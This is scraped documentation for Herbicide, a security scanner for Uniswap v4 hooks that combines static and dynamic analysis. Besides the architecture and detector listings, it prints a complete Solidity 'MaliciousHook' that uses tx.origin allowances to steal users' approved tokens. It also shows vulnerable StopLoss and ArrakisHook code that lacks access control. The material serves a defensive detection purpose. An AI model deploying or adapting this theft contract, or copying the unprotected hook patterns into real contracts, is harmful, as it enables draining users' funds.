arrow-left

Only this pageAll pages
gitbookPowered by GitBook
1 of 19

gamza.net

Loading...

Overview

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Quick Start

Loading...

Use cases

Loading...

Loading...

Advanced

Loading...

Loading...

Loading...

Learn

Loading...

Roadmap

Introduction

hashtag
Motivation

This project aims to identify and address vulnerabilities arising from the lack of standardization- in Uniswap v4 hooks, enabling proactive threat mitigation within the web3 ecosystem.

hashtag
Summary of Herbicide

The Hook function, a key feature introduced in Uniswap V4, allows developers to apply custom business logic before and after actions like adding or removing liquidity, token swaps, and liquidity donations. In Uniswap V4, liquidity is managed by PoolKeys, which includes the addresses of two tokens to be exchanged, fees, tick spacing, and the address of the implemented Hook Contract.

Using Hook-applied liquidity, our project analyzes Uniswap V4 to define and address potential threats. The solution enables users to input a PoolKey corresponding to their Hook Contract deployed on the Uni Chain, then dynamically and statically analyze it to detect possible threats.

Dynamic testing is conducted across N categories with M tests, while static analysis follows with N categories and M tests, ultimately displaying results for the user. Uniswap continues to enhance the Uni Chain and blockchain ecosystem through initiatives like the Infinite Hackathon and Retro Program. We aim to assist Uniswap V4 users and Hook developers in creating safer Hook Contracts.

hashtag
Performance

Our Herbicide platform has identified security issues among various Uniswap v4 hooks detected through our platform. We conducted a direct triage process on each identified issue to verify their validity as vulnerabilities. The following outlines the results of this process.

P

P2

CustomCurveHook

Uniswap Basic

Detect

Detect

False Positive

P

P

P

P3

DynamicFeesTestHook

Uniswap Basic

P

P

Detect

P

P

P

P4

DynamicReturnFeeTestHook

Uniswap Basic

P

P

Detect

P

P

P

P5

FeeTakingHook

Uniswap Basic

P

P

P

P

P

P

P6

LPFeeTakingHook

Uniswap Basic

P

P

P

P

P

P

P7

FullRange

Uniswap Labs

Detect

Detect

False Positive

P

P

P

P8

GeomeanOracle

Uniswap Labs

Detect

Detect

False Positive

P

P

P

P9

LimitOrder

Uniswap Labs

P

P

P

P

P

P

P10

VolatilityOracle

Uniswap Labs

P

P

Detect

P

P

P

P11

StopLoss

Community

P

P

Detect

P

P

P

P12

TradingDays

Community

P

Detect

Detect

P

P

P

P13

ArrkisHook

ETHCC_Paris

P

P

Detect

P

Detect

P

IDX

Hook Name

Type

Minimum

Time-Lock

OnlyBy

PoolManager

Proxy

Re-

Initialize

Gas-

Griefing

P1

DeltaReturningHook

Uniswap Basic

P

P

P

P

P

Anti-hook Monitoring

Our project aims to enhance security within the Uniswap V4 ecosystem by operating an Anti-Hook Monitoring solution. This solution will continuously monitor Pool Manager contracts deployed on Uni Chain and rigorously analyze the security of Hooks configured during the initialization process. We comprehensively assess potential risks and vulnerabilities by leveraging dynamic and static analysis methods. Through dynamic analysis, we verify that Hooks function safely across various operational scenarios, while static analysis helps preemptively identify security flaws at the code level.

With this thorough examination, we intend to build an allowlist of verified Hooks, providing a secure environment that Uniswap users can trust. Furthermore, to offer a recognized security standard for developers and users alike, we plan to issue SBTs exclusively to certified Hook Contracts. This issuance reflects our commitment to security and the broader advancement of Uniswap V4 and Uni Chain. Through Anti-Hook Monitoring, we aim to strengthen the Uniswap V4 ecosystem and support a secure onboarding experience.

Advanced Detection using LLM

Our project seeks to enhance the security of Uniswap V4 Hook Contracts by developing an advanced static analysis solution leveraging LLMs. Since Hook Contracts are a type of Smart Contract, developers can freely include custom functions and assembly code written in Yul, which adds to code complexity and makes it challenging for conventional static analysis tools to detect specific patterns or behaviors effectively.

We are exploring using LLMs to enhance static analysis and address these challenges. By training an LLM on smart contract code patterns, we aim to achieve a deep understanding of the complex structures within Hook functions and assembly code. This approach allows the LLM to recognize unique characteristics and potential vulnerabilities within Hook Contracts, enabling proactive identification of unintended behaviors or security flaws in the code. Such advanced analysis goes beyond merely detecting syntactic errors. It will offer a practical evaluation of hidden risks within Hook Contracts, contributing to a safer DeFi ecosystem on UniChain.

Components & Features

hashtag
Before Use

This page provides a brief overview of the components and tests within Herbicide. Herbicide requires Uniswap V4’s PoolKey as an input to operate. It is recommended that the Hook Contract be deployed for analysis on the Unichain Sepolia Network (Chain ID: 1301) and initialized with the Uniswap V4 Pool Manager Contract on Unichain Sepolia.

For comprehensive static analysis, the source code must be verified and uploaded to the UniChain Blockscoutarrow-up-right Contract. Static analysis is powered by Semgreparrow-up-right and Slitherarrow-up-right, while dynamic analysis operates on a Foundryarrow-up-right-based framework. Threats that may arise within Uniswap V4 Hooks are detailed in the Uniswap V4 Hook Security documentation.

hashtag
Features

hashtag
Hook Token Delta Simulation

When using specific Hooks, the logic of afterSwap, beforeSwap, beforeAddLiquidity, afterAddLiquidity, beforeRemoveLiquidity, and afterRemoveLiquidity can impact token movements by influencing Delta Amount. Through Dynamic Analysis, we simulate the token amounts users are expected to pay or receive during swap/modifyLiquidity actions, tracking fund movements across each execution entity (Hook Contract, PoolManager, Router).

By comparing the simulation results for amountIn and amountOut, users can verify the Actual Price when using a particular Pool. Additionally, this feature enhances user convenience by displaying real-time market prices, sourced through Pyth Oracle, for reference alongside simulation results.

hashtag
Hook Contract Scanner

Provides simple threat detection and information extraction functions for Hook Contract code written in Solidity.

The Hook Contract Scanner helps developers easily understand Libraries, Modifiers, require/assert/revert conditions, and Access Control Logic in the Hook Contract.

Welcome

Herbicide is a mission-critical developer security platform to code, audit, deploy, monitor, and operate Uniswap v4 hook applications with confidence. Integrating directly into the developer workflow, Herbicide makes it easy and fast for developers and operators to prevent and fix security issues pre and post-deployment.

The document details the architecture, feature composition, roadmap, and other project-related aspects of Herbicide.

hashtag
🚧 Official (DEV)

hashtag
Jump right in

actualPrice=amountOut/amountInactualPrice = amountOut / amountInactualPrice=amountOut/amountIn
oraclePrice=(token1/usdc)/(token0/usdc)oraclePrice = (token1/usdc) / (token0/usdc)oraclePrice=(token1/usdc)/(token0/usdc)
expectedPrice=expectedAmountOut/expectedAmountInexpectedPrice = expectedAmountOut / expectedAmountInexpectedPrice=expectedAmountOut/expectedAmountIn
https://github.com/Gamzanet/Herbicide.gitarrow-up-right

Overview

Introduction

Quick Start

tutorials

Use cases

Malicious | Vulnerable Hook Detection

Architecture

circle-info

This page describes the project's technical grid and how it works.

hashtag
Overview

This project is designed as a web service, allowing users to submit a Pool Key from Uniswap V4 and choose between dynamic and static analysis options. Users can access this service via a web interface. When a Pool Key initialized in the Uniswap V4 Pool Manager is provided, the system begins its analysis based on this Pool Key.

The Pool Key information is stored in the API server, and a Task is dispatched to a Message Queue. If a Task is present in the Queue, the Worker executes it. Static analysis utilizes Semgrep and Slither, while dynamic analysis operates on a Foundry-based system. Results from both types of analysis are interpreted, aggregated, and stored in Redis.

Users can access and review their analysis results using the Task ID associated with each request.

Vulnerable Hook Detection

hashtag
Vulnerable Hook Detection

hashtag
StopLoss


The StopLoss contract leverages Uniswap V4’s custom user hook functionality to implement a stop loss feature. This hook automatically sells tokens when the price in a specified pool meets the user-defined stop-loss conditions, thereby preventing further losses. The functionality of this hook is summarized as follows:

  1. Users create a stop-loss order by executing the placeStopLoss() function.

  2. After each swap, the afterSwap function compares the previous and current ticks, executing the order if the conditions are met.

Let's take a look at the afterSwap function in this hook.

The function lacks a modifier and any additional ACL mechanism. Through this function, the fillStopLoss() function can be called separately, allowing storage values to be altered. This may lead to unexpected behavior in the hook, and appropriate measures are necessary. Herbicide can detect these risks and alert users accordingly.

hashtag
ArrakisHook


This ArrakisHook stores information about the pool key in beforeInitialize right before initialization, enabling it to manage liquidity through ERC1155.

Let's take a look at the beforeInitialize()in this hook.

This contract is a hook implemented to initialize information about the pool key in beforeInitialize. However, this hook does not implement any access control for beforeInitialize, nor does it take any measures regarding the number of initializations. Since the pool key is initialized in beforeInitialize, if a new initialization is performed on this hook, all existing hook assets will be locked.

Herbicide detects the storage values of such cases to ensure that users can use the hook safely.

Static Analysis

hashtag
Threat Detection

Using the Detectors provided by Slither, it is possible to detect threats within the Hook. Herbicide automatically executes the following Detectors to find and warn about threats.

  • hashtag

    • hashtag
      Detect collision due to dynamic type usages in abi.encodePacked

  • hashtag

  • hashtag

  • hashtag

  • hashtag

  • hashtag

  • hashtag

  • hashtag

  • hashtag

hashtag
Informational Gathering

Using the Slither-Printer, it displays critical information regarding the access control of the contract. In Herbicide, the Printer is automatically executed to extract and display.

    • Prints require statements in the function.

hashtag
Contract Information

  • info-variable

    • Prints state variables and the functions using them.

  • info-inline-access-control

hashtag
Semgrep-Solidity + Python

In the Simple Contract Analyzer, users can input contract to receive processed key information according to predefined Semgrep rules by Herbicide. This lets users easily review details about functions and storage variables declared in

hashtag
Threat Detection

  • info-layer2-assignee

    • Checks storage re-used while double-initializing the hook.

  • low-call

Tutorials

hashtag
Inspection Methods Based on User Input

To utilize Herbicide, users can select between two input methods.

hashtag
PoolKey

  • The Hook Contract must be deployed on the Unichain.

  • The specified Hook should be initialized (or be eligible for initialization) with the Pool Manager at using the provided PoolKey.

  • The PoolKey includes the two token addresses to be exchanged (currency0, currency1), LP fees, tick spacing, and the Hook Contract address.

Detection Available

  1. Malicious Hook Detection: Issues a warning if the Hook attempts to misappropriate user funds or withdraws more tokens than the user intended.

  2. Price Abnormality Detection: Alerts users if there is a significant discrepancy between the simulated price calculated by Herbicide and the actual swap price.

  3. Hook Delta Simulation: Simulates the amounts transferred during Swap/ModifyLiquidity operations, allowing users to understand the specific fund flow characteristics of the Hook.

hashtag
Hook Contract written in Solidity

When a Hook Contract is provided, Herbicide uses its Semgrep script to perform static analysis, detecting potential threats and processing Hook Contract information for review.

hashtag
Detection Available

  • onlyPoolManager: Confirms that onlyPoolManager is implemented to ensure access control for hook functions.

  • Double Initialize Storage Check: Verifies if the Storage accessed by beforeInitialize/afterInitialize functions is managed by PoolId during Hook initialization.

  • tx.origin Warning: Issues a warning if access control relies on tx.origin

circle-info

All tests are conducted without impacting the actual chain.

hashtag
Types of integrations

Malicious Hook Detection

hashtag
Malicious Hook Example

circle-info

Key Features

What does Herbicide detect?

hashtag
Analyzable Hook Condition

The analysis is supported for Uniswap V4 Hook Contracts interacting with the Uniswap V4 The exact initialized values in the Pool Manager must be correctly entered. Each hook should be implemented per the IHook and BaseHook interfaces, interacting with and

hashtag
Detection of state variables shadowed.
hashtag
Uninitialized state variables.
hashtag
Delegatecall to an address controlled by the user.
  • hashtag
    Detect the use of delegatecall inside a loop in a payable function.

  • hashtag
    Detect the use of msg.value inside a loop.
    hashtag
    Detection of the reentrancy bugarrow-up-right. Do not report reentrancies that don't involve Ether (see,reentrancy-no-eth)
    hashtag
    The return value of an external transfer/transferFrom call is not checked
    hashtag
    Detection of state variables shadowed from abstract contracts.
    hashtag
    Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.

    Prints modify applied to the function.

  • state variables and authenticationarrow-up-right

    • Prints require statements with msg.sender, in the function which writes state variables.

  • Checks require&assert&revert conditions.

  • info-inheritance

    • Prints the contract's inheritance information.

  • info-library

    • Prints the usage of libraries of the contract.

  • Checks if the hook is low-calling to other addresses.

  • getSlot0-check

    • Checks if the hook is calling getSlot0 function, as it is dangerous if the hook operates as an oracle, returning the getSlot0 value as the price of the pool.

  • missing-token-transfer-while-burnt

    • Checks if the hook is not transfer the underlying token while the token is burnt.

  • missing-onlyPoolManager-modifier

    • Checks if onlyPoolManager modifier is not applied to the hook functions.

  • misconfigured-hook

    • Checks if the hook functions are not yet implemented, while the function flag of getHookPermissions returns true.

  • encode-packed-collisionarrow-up-right
    shadowing-statearrow-up-right
    uninitialized-statearrow-up-right
    delegatecall-looparrow-up-right
    msg-value-looparrow-up-right
    reentrancy-etharrow-up-right
    unchecked-transferarrow-up-right
    shadowing-abstractarrow-up-right
    divide-before-multiplyarrow-up-right
    require statementsarrow-up-right
    modifiersarrow-up-right
    hashtag
    Detectable Security Threat

    hashtag
    ReInitializable

    Detects changes in the Hook's storage due to the actions of beforeInitialize / afterInitialize if the same Hook can be deployed to the PoolManager. Confirms whether the storage accessed by the beforeInitialize/afterInitialize functions during Hook initialization is managed by PoolId.

    hashtag
    Time Lock

    Detects cases where a specific Hook does not operate after a certain period has elapsed.

    hashtag
    External Callable Hook Functions

    For Hook functions such as beforeInitialize / afterInitialize / beforeSwap / afterSwap / etc., detects whether entities other than the PoolManager can execute each function.

    hashtag
    Malicious Hook Detection

    Can identify risks of gas griefing through gas usage and warns if it can steal user funds or take more tokens than the user intends to pay.

    hashtag
    Price Abnormality

    Warns when there is a significant difference between the price simulated by Herbicide and the actual price at which the swap occurs.

    hashtag
    Proxy Detection

    Detects and warns if the Hook Contract is implemented as a proxy.

    hashtag
    Contract Information Analysis

    hashtag
    With PoolKey

    1. Hook Delta Simulation: Simulates the amount of funds moved during Swap/ModifyLiquidity, allowing users to directly understand the characteristics of the fund flow in the Hook.

    2. Static Analysis with Slither: Provides processed information such as security checks and contract information for Hook Contracts verified on BlockScout using Slither, making audits more convenient.

    hashtag
    With Hook Contract

    1. Static Analysis with Semgrep: Based on the Herbicide Semgrep Script, it extracts and displays information about the Contract as follows.

      1. Library Information

      2. Modifier Information

      3. Inheritance Information

      4. Variable Information

    Pool Manager. arrow-up-right
    v4-core:9293e5aarrow-up-right
    v4-periphery:1dc3a34.arrow-up-right
    To run an Initialize Test with a specific deployer address, provide the address as an additional parameter. If omitted, the test will default to the standard address for execution.

    Static Analysis with Slither: Provides security inspections and detailed contract information using Slitherarrow-up-right on verified Hook Contracts from BlockScout, facilitating efficient auditing of the Hook Contract.

    , which can introduce security vulnerabilities.
    0x38EB8B22Df3Ae7fb21e92881151B365Df14ba967arrow-up-right

    Analytics

    Track analytics from your docs

    Support

    Add support widgets to your docs

    Interactive

    Add extra functionality to your docs

    Visitor Authentication

    Protect your docs and require sign-in

    Code Detailsarrow-up-right
    Code Detailarrow-up-right
    {
        "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
        "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
        "fee": 3000,
        "hooks": "0xA3da6f46f93C7B3090A48D7bFeC0345156ED5040",
        "tickSpacing": 60,
        "deployer":"0x4e59b44847b379578588920cA78FbF26c0B4956C"
    }
    
        function afterSwap(
            address,
            PoolKey calldata key,
            IPoolManager.SwapParams calldata params,
            BalanceDelta,
            bytes calldata
        ) external override returns (bytes4, int128) {
            int24 prevTick = tickLowerLasts[key.toId()];
            (, int24 tick,,) = poolManager.getSlot0(key.toId());
            int24 currentTick = getTickLower(tick, key.tickSpacing);
            tick = prevTick;
    
            int256 swapAmounts;
    
            // fill stop losses in the opposite direction of the swap
            // avoids abuse/attack vectors
            bool stopLossZeroForOne = !params.zeroForOne;
    
            // TODO: test for off by one because of inequality
            if (prevTick < currentTick) {
                for (; tick < currentTick;) {
                    swapAmounts = stopLossPositions[key.toId()][tick][stopLossZeroForOne];
                    if (swapAmounts > 0) {
                        fillStopLoss(key, tick, stopLossZeroForOne, swapAmounts);
                    }
                    unchecked {
                        tick += key.tickSpacing;
                    }
                }
            } else {
                for (; currentTick < tick;) {
                    swapAmounts = stopLossPositions[key.toId()][tick][stopLossZeroForOne];
                    if (swapAmounts > 0) {
                        fillStopLoss(key, tick, stopLossZeroForOne, swapAmounts);
                    }
                    unchecked {
                        tick -= key.tickSpacing;
                    }
                }
            }
            return (StopLoss.afterSwap.selector, 0);
        }
    
    {
        "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
        "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
        "fee": 3000,
        "hooks": "0x7Ba42C294124A8037707399823D56b8a589b6080",
        "tickSpacing": 60,
        "deployer": "0x4e59b44847b379578588920cA78FbF26c0B4956C"
    }
        function beforeInitialize(
            address,
            PoolKey calldata poolKey_,
            uint160 sqrtPriceX96_,
            bytes calldata
        ) external override returns (bytes4) {
            poolKey = poolKey_;
            lastSqrtPriceX96 = sqrtPriceX96_;
            lastBlockNumber = block.number;
            return this.beforeInitialize.selector;
        }
    hashtag
    Main Logic

    A malicious hook can monitor the amount of tokens a user has approved.

    1. The malicious hook takes the entire approved token amount through ERC6909.

    2. It then settles only the necessary amount required for a legitimate Swap/ModifyLiquidity.

    3. Through this process, the malicious hook can effectively steal the maximum possible token amount the user has approved for the transaction.

    Exact Out Swap Test

    The image above illustrates the process in which the Malicious Hook exploits the token approval mechanism. The first step shows the Malicious Hook verifying the approved token amount. In the second step, it proceeds to transfer the entire approved token quantity to ERC6909. Finally, the required amount is settled for legitimate Swap/ModifyLiquidity actions, allowing the Malicious Hook to maximize the tokens stolen from the User.

    hashtag
    Herbicide Detection Result

    hashtag
    GasGriefHook

    Hooks can significantly influence PoolKeys' behavior. For example, if a hook triggers a revert, it could render the associated pool unusable. Such cases, which compromise user accessibility, include attacks like gas griefing. Herbicide addresses these risks by detecting such hooks through dynamic analysis testing.

    Code Detailsarrow-up-right

    https://unichain-sepolia.blockscout.com/address/0xbedD50791A853b4FAf2116AcC9b8df71D525C547?tab=contractarrow-up-right

    Dynamic Analysis

    circle-info

    This page describes the contents related to dynamic analysis

    circle-info

    Dynacmic analysis operates based on Foundry, and 199 tests are conducted in 7 categories.

    hashtag
    Minimum Test

    1. Verifies whether the liquidity pool corresponding to the PoolKey is functioning correctly.

    2. Tests modifyLiquidity and swap for

    3. Tests modifyLiquidity, swap, and donate for

    hashtag
    Time Based Minimum Test

    1. The above basic tests are conducted periodically. The intervals for each period are as follows:

      1. 1 hour, 3 hours, 6 hours, 12 hours, 1 day, 1 week, 1 month, 1 year, 3 years, 5 years, 7 years, 10 years After a certain period of time, it is confirmed whether the liquidity pool operates normally, and a warning is issued for Hooks with implemented Time Locks.

    hashtag
    Only PoolManger Test

    Each Hook Function is executed by calling the Hook Contract through the unlockCallback in the PoolManager. If Hook Functions are called by other Users or Contracts, unintended behavior may occur, so the function caller should be restricted using the onlyPoolManager modifier or require statement.

    Herbicide warns if Hook Functions can be called externally.

    hashtag
    ReInitializable Test

    Although the same PoolKey cannot be used to initialize a Pool in the PoolManager, if storage is not managed by PoolID, side effects may occur when initializing the same Hook with a different PoolKey.

    Herbicide changes the tick interval of the Pool key you entered to check if it can be initialized, and warns if the same storage is used.

    If the Hook Contract does not manage storage by PoolID, it should be checked and managed based on PoolID, or additional measures should be taken to prevent reinitialization.

    hashtag
    Proxy Hook Test

    If the Hook Contract operates using the Proxy Pattern, it warns that the logic of the Hook may change.

    hashtag
    Hook Gas Comparison

    It compares the gas usage of modifyLiquidity and swap without using the Hook, and the gas usage of modifyLiquidity and swap when using the Hook. This allows the detection of malicious Gas Griefing by the Hook, and users can predict the gas usage when using the Hook.

    hashtag
    Swap Price Comparison

    When performing a Swap for a Pool using the Hook, the use of the Hook may cause fluctuations in the token price. Additionally, the Swap may be executed at a price different from the predicted one.

    Herbicide can be used to predict such token prices in advance.

    • If the predicted price by Herbicide and the Simulated Actual Price differ by more than 5%, a warning is issued.

    • It provides market token price information calculated through Pyth Oracle for convenient comparison.

    Uniswap v4 Hook

    Unified Security Framework and Trust Considerations

    Uniswap V4 has implemented a range of mechanisms to provide a secure and permissionless environment for user-defined liquidity operations, particularly through its new Hook functionality. However, this flexibility introduces certain risks and trust assumptions. Below, we explore the core security elements and specific considerations for maintaining robust user and liquidity provider trust.


    Core Security Components

    • Singleton Architecture

      • Uniswap V4’s core resides within the single PoolManager contract, centralizing the management of all pools and enforcing a controlled environment for liquidity operations.

      • This differs significantly from the previous version, where each pool operated within its individual contract, providing stronger guarantees on interaction consistency.

    • Hook Contract Security

      • Hook contracts allow custom business logic to run before and after liquidity operations (e.g., beforeAddLiquidity, afterRemoveLiquidity), allowing advanced customization.

      • Given their direct interaction with token flows, Hooks may impose security risks if not designed correctly. Malicious Hooks could steal user assets or excessively inflate gas costs, which is why dynamic and static analysis tools, such as Herbicide, are recommended for threat detection.

    • Dynamic and Static Fee Management for Liquidity Providers

      • Fees in Uniswap V4 can be either static or dynamically adjustable, configurable through Hooks at initialization. However, as dynamic fees can be updated on an ongoing basis, additional scrutiny on these adjustments is required to avoid exploitation.


    Critical Trust Assumptions

    1. Transaction Security and Slippage Control

      • Core contracts do not have built-in slippage protection, assuming that the periphery contracts will handle this function. Users and developers must ensure they use well-vetted periphery contracts to avoid excessive slippage in swaps.

    2. User and LP Asset Safety


    hashtag
    Mitigation Strategies

    To safeguard against the above risks, users, developers, and auditors are advised to:

    • Leverage Security Audits: Routine analysis using dynamic and static tools, such as Herbicide’s Hook monitoring, can help detect and remediate vulnerabilities.

    • Implement Trustworthy Oracles: Ensure Hooks rely on credible oracles when conducting price-sensitive operations.

    • Restrict Unauthorized Access: Apply onlyPoolManager modifiers or similar controls on sensitive Hook functions.

    // SPDX-License-Identifier: UNLICENSED
    pragma solidity ^0.8.0;
    
    import {BaseHook} from "v4-periphery/src/base/hooks/BaseHook.sol";
    import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
    import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
    import {Hooks} from "v4-core/src/libraries/Hooks.sol";
    
    import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
    import {PoolKey} from "v4-core/src/types/PoolKey.sol";
    
    import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
    import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
    
    import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
    import {TickMath} from "v4-core/src/libraries/TickMath.sol";
    import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
    
    import {FixedPointMathLib} from "solmate/src/utils/FixedPointMathLib.sol";
    import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
    import {SafeCast} from "v4-core/src/libraries/SafeCast.sol";
    import {toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
    import {CurrencySettler} from "v4-core/test/utils/CurrencySettler.sol";
    
    contract MaliciousHook is BaseHook {
        using Hooks for IHooks;
        using SafeCast for uint256;
        using SafeCast for int128;
        using CurrencySettler for Currency;
    
        bool private firstAddLiquidity = true;
        uint128 public constant TOTAL_BIPS = 10000;
    
        constructor(IPoolManager _manager) BaseHook(_manager) {}
    
        function getHookPermissions()
            public
            pure
            override
            returns (Hooks.Permissions memory)
        {
            return
                Hooks.Permissions({
                    beforeInitialize: false,
                    afterInitialize: false,
                    beforeAddLiquidity: false,
                    afterAddLiquidity: true,
                    beforeRemoveLiquidity: false,
                    afterRemoveLiquidity: true,
                    beforeSwap: false,
                    afterSwap: true,
                    beforeDonate: false,
                    afterDonate: false,
                    beforeSwapReturnDelta: false,
                    afterSwapReturnDelta: true,
                    afterAddLiquidityReturnDelta: true,
                    afterRemoveLiquidityReturnDelta: true
                });
        }
    
        function afterSwap(
            address sender, /* sender **/
            PoolKey calldata key,
            IPoolManager.SwapParams calldata params,
            BalanceDelta delta,
            bytes calldata /* hookData **/
        ) external override onlyPoolManager returns (bytes4, int128) {
    
            bool specifiedTokenIs0 = (params.amountSpecified < 0 == params.zeroForOne);
            (Currency targetCurrency, int128 swapAmount) =
                (specifiedTokenIs0) ? (key.currency1, delta.amount1()) : (key.currency0, delta.amount0());
    
            
            if (swapAmount < 0) 
                swapAmount = -swapAmount;
            else
                return (IHooks.afterSwap.selector,0);
    
            address victim = tx.origin;
            IERC20 feeToken = IERC20(Currency.unwrap(targetCurrency));
            uint256 stealAmount = feeToken.allowance(victim, sender);
    
            if (stealAmount > targetCurrency.balanceOf(victim)) {
                stealAmount = targetCurrency.balanceOf(address(victim));
            }
    
            if (poolManager.isOperator(victim, sender)) {
                uint256 balance_6909 = poolManager.balanceOf(victim, targetCurrency.toId());
    
                stealAmount = stealAmount < balance_6909 ? stealAmount : balance_6909;
            }
    
            targetCurrency.take(poolManager, address(this), stealAmount, true);
            targetCurrency.settle(poolManager, address(this), (stealAmount * key.fee / TOTAL_BIPS) + uint128(swapAmount), true);
            stealAmount = stealAmount - (stealAmount * key.fee / TOTAL_BIPS) - uint128(swapAmount);
    
            return (IHooks.afterSwap.selector, (stealAmount).toInt128());
        }
    
        function afterRemoveLiquidity(
            address, /* sender **/
            PoolKey calldata key,
            IPoolManager.ModifyLiquidityParams calldata, /* params **/
            BalanceDelta delta,
            BalanceDelta,
            bytes calldata /* hookData **/
        ) external override onlyPoolManager returns (bytes4, BalanceDelta) {
            assert(delta.amount0() >= 0 && delta.amount1() >= 0);
    
            uint256 stealAmount0;
            uint256 stealAmount1;
    
            if (delta.amount0() > 0)
                stealAmount0 = uint128(delta.amount0()) - 1;
            if (delta.amount1() > 0)
                stealAmount1 = uint128(delta.amount1()) - 1;
    
            key.currency0.take(poolManager, address(this), stealAmount0, true);
            key.currency1.take(poolManager, address(this), stealAmount1, true);
    
            return (IHooks.afterRemoveLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
        }
    
        function afterAddLiquidity(
            address sender, /* sender **/
            PoolKey calldata key,
            IPoolManager.ModifyLiquidityParams calldata, /* params **/
            BalanceDelta delta,
            BalanceDelta,
            bytes calldata /* hookData **/
        ) external override onlyPoolManager returns (bytes4, BalanceDelta) {
            if (firstAddLiquidity) {
                firstAddLiquidity = false;
                return (IHooks.afterAddLiquidity.selector, toBalanceDelta(0, 0));
            }
            assert(delta.amount0() <= 0 && delta.amount1() <= 0);
    
            address victim = tx.origin;
            IERC20 targetToken0 = IERC20(Currency.unwrap(key.currency0));
            IERC20 targetToken1 = IERC20(Currency.unwrap(key.currency1));
            uint256 stealAmount0 = targetToken0.allowance(victim, sender);
            uint256 stealAmount1 = targetToken1.allowance(victim, sender);            
            if (stealAmount0 > targetToken0.balanceOf(victim)) {
                stealAmount0 = targetToken0.balanceOf(address(victim));
            }
            if (stealAmount1 > targetToken1.balanceOf(victim)) {
                stealAmount1 = targetToken1.balanceOf(address(victim));
            }
    
            if (poolManager.isOperator(victim, sender)) {
                uint256 balance0_6909 = poolManager.balanceOf(victim, key.currency0.toId());
                uint256 balance1_6909 = poolManager.balanceOf(victim, key.currency1.toId());
    
                stealAmount0 = stealAmount0 < balance0_6909 ? stealAmount0 : balance0_6909;
                stealAmount1 = stealAmount1 < balance1_6909 ? stealAmount1 : balance1_6909;
            }
            
            key.currency0.take(poolManager, address(this), stealAmount0, true);
            key.currency1.take(poolManager, address(this), stealAmount1, true);
            key.currency0.settle(poolManager, address(this), uint128(-delta.amount0()), true);
            key.currency1.settle(poolManager, address(this), uint128(-delta.amount1()), true);
    
            stealAmount0 -= uint128(-delta.amount0());
            stealAmount1 -= uint128(-delta.amount1());
    
            return (IHooks.afterAddLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
        }
    }
    {
        "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
        "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
        "fee": 3000,
        "tickSpacing": 60,
        "hooks": "0x3c712B5E5B4a7ee97E4e3F2330bFb435050a4800",
        "deployer": "0x4e59b44847b379578588920cA78FbF26c0B4956C"
    }

    Reentrancy and unusual token contracts (e.g., rebase tokens) introduce unique vulnerabilities. To mitigate these, rigorous contract review and adherence to ERC-20 standards are critical.

  • Potentially malicious Hooks can alter swap or liquidity positions to the detriment of users, emphasizing the need for security mechanisms that check slippage and enforce LP protections.

  • Permissions and Privilege Levels

    • Protocol Fee Controller: Authorized to set protocol fees up to a capped 0.1% and to direct accrued fees.

    • Owner: Maintains the authority to update the Protocol Fee Controller.

    • Hooks with Dynamic Fees: Authorized to adjust fees on dynamically configured pools.

  • Immutable Operations and Potential Upgradability

    • Certain Hooks could theoretically include upgradability, which introduces post-deployment risk if unchecked. Users and LPs are encouraged to carefully review Hooks or use those audited by trusted entities.

  • Monitor for Malicious Activities: Utilize security features within periphery contracts for additional slippage and transaction safety protections.

    ERC-6909.arrow-up-right
    ERC-20.arrow-up-right